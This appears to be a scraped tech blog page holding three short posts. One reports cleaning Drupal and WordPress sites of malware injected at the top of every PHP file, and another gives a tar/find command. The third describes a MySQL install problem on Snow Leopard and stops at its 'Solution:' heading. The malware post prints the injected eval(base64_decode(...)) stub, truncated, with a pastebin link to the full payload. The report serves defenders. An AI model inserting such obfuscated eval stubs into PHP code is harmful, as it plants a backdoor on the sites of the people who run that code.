dispute against sweepstakesandcontestsdo.com malware/virus

sweepstakesandcontestsdo-malware-virus

just cleaned-up drupal and wordpress sites infected by sweepstakesandcontestsdo.com malware/virus.

it injects:

<?php
/**/ eval(base64_decode("aWYoZnVuY3Rpb2***yk7ICB9ICB9"));
// i truncated the actual string inside base64_decode() because it's too long, but you can see it here: http://pastebin.com/Y4h7ePJf
?>

at the very beginning of all your php files recursively.

include specific files on your tar archive based on file extension

find . -type f \( -name \*\.php -o -name \*\.tpl \) -print0 | xargs -0 tar -czvf archive.tar.gz

MySQL Server 5.5.8 64-bit (mysql-5.5.8-osx10.6-x86_64) on Snow Leopard

I downloaded mysql-5.5.8-osx10.6-x86_64.dmg and installed it on my MBP running 64-bit Snow Leopard (10.6.5)

Issues:

1. I wasn't able to start mysql service using the pref pane nor manually starting up using `sudo /Library/StartupItems/MySQLCOM/MySQLCOM start` via command line.
2. The preference pane seems to be not responding or not working when "Start.." button is clicked.

Solution:

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